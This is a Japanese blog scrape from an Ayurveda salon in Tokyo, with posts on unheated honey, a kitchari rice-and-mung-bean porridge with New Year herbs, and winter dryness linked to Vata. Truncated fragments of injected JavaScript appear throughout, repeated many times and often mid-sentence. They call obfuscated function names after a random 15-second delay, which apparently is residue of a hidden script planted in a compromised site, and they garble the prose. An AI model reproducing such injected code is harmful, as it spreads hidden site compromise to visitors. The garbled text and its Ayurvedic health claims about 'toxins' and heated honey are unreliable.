コーヒーと輸入食材のお店andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

何度も来ていたのですが、はちみつはノーマークで
発見が遅れてしまいました。。。くぅ。。。
でも、やったやったよお母さん
もし、アーユルヴェーダを知っていて
はちみつが気になってる方がいたら、ぜひお試しあれ~~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ていうか、あんなに探して見つからなかったのに
普通に楽天に売ってた…ショック…

でも、これじゃ検索でみつからないよ…
アーユルヴェーダーぐらいにしかヒキはないだろうけど
はちみつは、もっと「非加熱」をウリにすべきだandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ちなみに、味見はこれからなので保証はできませんがw
とにかく嬉しくて、勢いでご報告。てへ。
この値段なら、ガシガシ使えるので
どんどん食べちゃうぞー
では最後に…【蜂蜜のまとめ】
非加熱のはちみつでも、加熱する料理やお菓子に使っては×。
お茶などの熱い飲み物に入れる時も、
指を入れて熱くない程度に冷ましてから入れましょう。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ま、私もたまに忘れて、カフェでハニーミルクティーとか
頼んじゃうこともありますけども。
たまに、ですよ、たまに。(笑)
アーユルヴェーダサロンmanas 《マナス》

アーユルヴェーダ式 七草がゆ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
明けましておめでとうございます
本年もどうぞよろしくお願いいたしますandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

さて、昨日は七草がゆの日。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
今年一年の無病息災を祈るためもので、
祝膳や祝酒で弱った胃袋を休める意味もあると言いますよね。

実は、アーユルヴェーダでも
この消化というものを大切に考えます。
その肝となるのが、消化・代謝を司る「アグニ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

そもそも、アーユルヴェーダで「毒素」を表す「アーマ」という言葉は、
消化や代謝が完全に行われずに残った「未消化物」を指しています。
つまり、消化・代謝がうまくできない=アグニがちゃんと働かないと
「毒素」が出来るというわけです。

でもって、アグニにきちんと働いてもらうためには、
きちんと休ませることが重要andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

毎日、肉や油ものをたっぷり食べている生活は
アグニにとっては過剰労働・・・
たまには、消化に負担をかけない食べ物、
温かく水分の多いメニューを取ってアグニを休ませないといけません。
そんなアーユルヴェーダの考え方にもぴったりなのが
インドのお粥「キチュリー」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
お米とムングダール(緑豆)のおかゆです。
お米とお豆を、ターメリックとサラダ油を入れて炊いたあと、
クミンなどのスパイスとしょうがをギーで加熱し、
香りを出したものを混ぜ、
塩と少量のチリなどで味を調整して出来上がり。
そして、私はこれに下ゆでして刻んだ七草を投入
インドと日本の素晴らしい文化交流メニューの完成です
DSC_0134.jpg
当然、キチュリーだけでも美味しいのですが、
七草を入れたことで色味も美しくなり、
白がゆだとちょっと気になる七草の青臭さも
すっかりスパイスで打ち消され(笑)、最高に美味しかったです
使うムングダールは、皮なしのひき割りがベスト。
実は、お豆類というのは、消化に重いものが多いandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}のですが、
このムングダールはとても消化が良いandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}んですって。
だから、お粥にむいてるんですね。

イエロームング モガール Moong Dal Yellow (Mogar)
皮をむいた黄色いムング豆です。くせがなく消化がよい


ちなみに、このキチュリー、
インドでは普通にカレーと食べたり、
「アチャール」と言うインドのピクルスandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と食べたりするそうです。

マンゴーピクルス(アチャール)
「インドの梅干し」とも呼ばれています。最初「これは強烈!」と思いますが、意外と日本人好みの味


みなさんも、暴飲暴食でアグニが弱ってきたら
ぜひお試しあれ
アーユルヴェーダサロンmanas 《マナス》

乾燥とヴァータの関係

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
アーユルヴェーダでは、生命を支えているのは
自然にある5大元素から生まれる、
3つのエネルギー「トリドーシャ」と考えます。
→トリドーシャの基本的説明はこちら
そのトリドーシャの一つ、ヴァータは
冬(10月下旬~3月ぐらい)に増えやすいドーシャ。

そのため、もともとヴァータが高くない人でも
ヴァータの特徴である「乾燥」「冷え」といった症状が
出やすい季節なのです。
そんなお話を、ispotコラムで書いてみました!
→「アーユルヴェーダ的 乾燥対策」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
そして、こちらでは
コラムに書いてない食生活対策andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}を教えちゃいます。
ヴァータを下げる作用がある味覚は・・・
甘味酸味塩味andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
冷凍食品や生もの、生野菜などの冷たいものはさけ、
(ヴァータの特性「冷」を増長してしまいます)
温かく、熱を通したものを食べて下さいね!

アーユルヴェーダサロンmanas 《マナス》